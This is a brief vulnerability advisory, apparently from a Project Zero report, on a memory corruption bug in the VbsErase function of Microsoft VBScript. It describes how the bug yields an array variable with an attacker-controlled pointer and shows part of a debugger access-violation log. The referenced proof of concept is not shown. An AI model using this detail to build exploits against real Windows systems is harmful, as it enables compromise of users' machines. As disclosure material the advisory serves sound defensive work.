Microsoft VBScript – VbsErase Memory Corruption
<!-- There is an issue in VBScript in the VbsErase function. In some cases (see the attached PoC), VbsErase fails to clear the argument variable properly, which can trivially lead to crafting a variable with the array type, but with a pointer controlled controlled by an attacker. This issue was most likely introduced in an attempt to fix a previously reported issue in VbsErase (https://bugs.chromium.org/p/project-zero/issues/detail?id=1668). Debug log (Note: this was tested on Windows 10 64-bit v1809 with the most recent patches applied): (25b4.efc): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled.
